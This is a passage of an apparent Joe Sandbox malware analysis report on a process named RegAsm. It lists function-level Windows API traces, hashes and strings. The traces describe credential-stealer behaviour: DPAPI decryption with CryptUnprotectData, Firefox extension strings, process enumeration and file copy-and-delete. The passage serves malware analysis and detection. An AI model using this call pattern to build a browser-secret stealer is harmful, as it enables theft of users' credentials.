Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoadlstrcpy$CloseEventHandleHeapProcess$AllocCreateExitH_prologNameOpenSleepUserlstrcatlstrlen
String ID:
API String ID: 1043047581-0
Opcode ID: 63899c68169e41570f029a222e57a0ca82ee8ba73f8e0d272385d8930f0730d7
Instruction ID: 5fe09bd252f0d150a6d3d00478baf6c0c38f56ac8277075a71d8cdb1780555ff
Opcode Fuzzy Hash: 63899c68169e41570f029a222e57a0ca82ee8ba73f8e0d272385d8930f0730d7
Instruction Fuzzy Hash: 45112C71900019BBCB11FBA2DD6ADEEB77DAE55304B50007EB502B24E1DF386A09CA69

Function 00403A54 Relevance: 9.1, APIs: 6, Instructions: 56stringnetworkCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00403A59
??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
??_U@YAPAXI@Z.MSVCRT ref: 00403A94
??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CrackH_prologInternetlstrlen
String ID:
API String ID: 503950642-0
Opcode ID: 0d221dbbc7c0b090ec087e33715908742fb57a3485d1500de3dc28ba3d66cb29
Instruction ID: cc07c141d42f95622a17f2cc37de93049e7409e5d01b43fa4466afa553a2edca
Opcode Fuzzy Hash: 0d221dbbc7c0b090ec087e33715908742fb57a3485d1500de3dc28ba3d66cb29
Instruction Fuzzy Hash: B4114C71D00208ABCB24AFA5D805BDE7F78AF45325F20422AF921A62D0DB385A498B54

Function 0040B1E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 186stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040B1E5

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00425ED8,00425BE3), ref: 0040B2A6
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040AFAF: _EH_prolog.MSVCRT ref: 0040AFB4

Strings

moz-extension+++, xrefs: 0040B2E8
^userContextId=4294967295, xrefs: 0040B30D

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2813378046-3310892237
Opcode ID: 0171a6eed1cad274af742993f372e6eb5dbe1f221bce049fb29b10c6c864d2db
Instruction ID: 4f6f4bd48829af219670311540be59081c9cea49b359b7f79f2b82a8f20ba16d
Opcode Fuzzy Hash: 0171a6eed1cad274af742993f372e6eb5dbe1f221bce049fb29b10c6c864d2db
Instruction Fuzzy Hash: F6715D70905248AACB14FBE5D516BDDBBB4AF19308F50417EE805736C2DB78670CCB66

Function 004064E5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 153libraryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004064EA

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,00000000,?,?,00425B44,?,?,?,00425B3F,?), ref: 004065A7

Part of subcall function 0040F997: lstrlenA.KERNEL32(?,00000000,?,004169B9,0042655F,0042655E,00000000,00000000,?,00417314), ref: 0040F9A0
Part of subcall function 0040F997: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D4

SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,00425B48,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00425B43), ref: 0040661F
LoadLibraryA.KERNEL32(00000000), ref: 0040663A

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040659B, 004065A0, 004065BA

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$H_prolog$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 757424748-1193256905
Opcode ID: f6ce9d2092b8488091eba00a9cdcecb47d6563a634a2b248d5590a137b97323b
Instruction ID: b62f1dd5ee535d8e5f8645b721c07d1aad3572f7288e272c7e543ebc5a1b68b9
Opcode Fuzzy Hash: f6ce9d2092b8488091eba00a9cdcecb47d6563a634a2b248d5590a137b97323b
Instruction Fuzzy Hash: 7B617170801544EECB25EBA4EA15AEDBBB5EB28304F10507EE506736E2DB381A09CF65

Function 0040C186 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040C18B

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0040C1DE

Part of subcall function 00406242: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,004058F9,00000000,00000000), ref: 00406262
Part of subcall function 00406242: LocalAlloc.KERNEL32(00000040,004058F9,?,?,004058F9,00000000,?,?), ref: 00406270
Part of subcall function 00406242: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,004058F9,00000000,00000000), ref: 00406286
Part of subcall function 00406242: LocalFree.KERNEL32(00000000,?,?,004058F9,00000000,?,?), ref: 00406295

memcmp.MSVCRT ref: 0040C21C

Part of subcall function 004062A5: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004062C8
Part of subcall function 004062A5: LocalAlloc.KERNEL32(00000040,?,?), ref: 004062E0
Part of subcall function 004062A5: LocalFree.KERNEL32(?), ref: 004062FE

Strings

DPAPI, xrefs: 0040C216
, xrefs: 0040C247

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeH_prologString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2477620391-1819349886
Opcode ID: 7dfd3c404522f5fba9cfd470d0499fc11dcebd0c230a6c7a8048448d2f3d36ba
Instruction ID: 8b9103f373224ef9c7d1e1e34525f01fb5e997a78b4ac406efbcf79e04d5bcd8
Opcode Fuzzy Hash: 7dfd3c404522f5fba9cfd470d0499fc11dcebd0c230a6c7a8048448d2f3d36ba
Instruction Fuzzy Hash: 8B21A272D00109ABCF10ABE5CD42AEFBB79AF54314F14027BF901B11D2EA399A958699

Function 0041064B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000,?,Work Dir: In memory), ref: 0041065F
HeapAlloc.KERNEL32(00000000,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000,?,Work Dir: In memory,00000000,?), ref: 00410666
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000,?), ref: 00410694
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000), ref: 004106B0

Strings

Windows 11, xrefs: 00410677

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 5f1e27fdb62b933d2b61b99a876454972edf3bd6176160e80f00ebf938befaf3
Instruction ID: 104df8f2525a0fd679668ea989e6de38b513391d3ca0bb797f84468fdfaa6df1
Opcode Fuzzy Hash: 5f1e27fdb62b933d2b61b99a876454972edf3bd6176160e80f00ebf938befaf3
Instruction Fuzzy Hash: 19F06279640215FBEB209BD1DD0AFAA7A7EEB49B04F201075FB01E61A0D7B49A509B24

Function 0040FB50 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,0040FBC2,00410673,?,?,?,00414A17,00000000,?,Windows: ,00000000), ref: 0040FB64
HeapAlloc.KERNEL32(00000000,?,?,?,0040FBC2,00410673,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC), ref: 0040FB6B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,0040FBC2,00410673,?,?,?,00414A17,00000000,?,Windows: ), ref: 0040FB89
RegQueryValueExA.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,0040FBC2,00410673,?,?,?,00414A17,00000000), ref: 0040FBA4

Strings

CurrentBuildNumber, xrefs: 0040FB9C

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: b9bf53c9aadd1465afb422ec0005ef8ef59a9f86fcd7e1a7c6fd75589dd59d58
Instruction ID: 38c23b2a009fde1c93731900e80abf8fdc92a9d8531a5489515771ffac6c83d0
Opcode Fuzzy Hash: b9bf53c9aadd1465afb422ec0005ef8ef59a9f86fcd7e1a7c6fd75589dd59d58
Instruction Fuzzy Hash: 20F03076240214FBFB109BD1DC0FFAE7A7EEB45B44F101069F701A50A0D7B569409B24

Function 0040913E Relevance: 7.8, APIs: 5, Instructions: 274filestringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00409143

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,?,00425DB4,?,?,?,00425B9B,00000000), ref: 0040921D
lstrlenA.KERNEL32(00000000), ref: 004093E4
lstrlenA.KERNEL32(00000000), ref: 004093F8
DeleteFileA.KERNEL32(00000000), ref: 0040947A

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 3423466546-0
Opcode ID: 11db608995ccd72e57995140e9430edd233334ab05fc65fed0a96f20b0681f76
Instruction ID: 49701c4b31c8d318cf39a30ad3edccb9fb9ad7eb1a88c61520d5ae36ab01da66
Opcode Fuzzy Hash: 11db608995ccd72e57995140e9430edd233334ab05fc65fed0a96f20b0681f76
Instruction Fuzzy Hash: 64B14A71904248EACB15EBE4D965BDDBBB4AF28308F54407EE406735C2DB782B0DDB26

Function 6CC4C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CC4C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CC4C969
GetSystemInfo.KERNEL32(?), ref: 6CC4C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CC4C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CC4C9E2

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: cbc0b3ac0dd6c7632f84ec0c944eb9480f917d19491a2713eb1c4f9d20d1458c
Instruction ID: 60f21c85aeb019d5848d221ca7b1e7ce2efbc21e33a6eafe329d22d99e633b92
Opcode Fuzzy Hash: cbc0b3ac0dd6c7632f84ec0c944eb9480f917d19491a2713eb1c4f9d20d1458c
Instruction Fuzzy Hash: 8F21F935741614BBDB04AEB9DCD4BAE73B9BB46704F50852AF903A7B40FB705C048794

Function 004102C3 Relevance: 7.6, APIs: 5, Instructions: 70processCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004102C8

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00410303
Process32First.KERNEL32(00000000,00000128), ref: 00410314
Process32Next.KERNEL32(?,00000128), ref: 0041037C
CloseHandle.KERNEL32(?,?,00000000), ref: 00410389

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prologHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 599723951-0
Opcode ID: 2fc1f2962bdb036bcc7fb993ace66804accd746089eb9d5784e12931c34da8f2
Instruction ID: a4a97019f206722b2e8740589aebd7bc91867f573d1150960a86d602fc248a9b
Opcode Fuzzy Hash: 2fc1f2962bdb036bcc7fb993ace66804accd746089eb9d5784e12931c34da8f2
Instruction Fuzzy Hash: 23210CB1A00118EBCB10EFA5CD55AEEBBB9AF58348F50407EE405F3691CB785A488B65

Function 004024D7 Relevance: 7.5, APIs: 5, Instructions: 39memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004024F0

Part of subcall function 0040245C: memset.MSVCRT ref: 00402481
Part of subcall function 0040245C: CryptStringToBinaryA.CRYPT32(00000104,00000000,00000001,00000000,?,00000000,00000000), ref: 004024A7
Part of subcall function 0040245C: CryptStringToBinaryA.CRYPT32(00000104,00000000,00000001,?,?,00000000,00000000), ref: 004024C1

strcat.MSVCRT(?,00000000,?,?,00000000,00000104), ref: 00402505
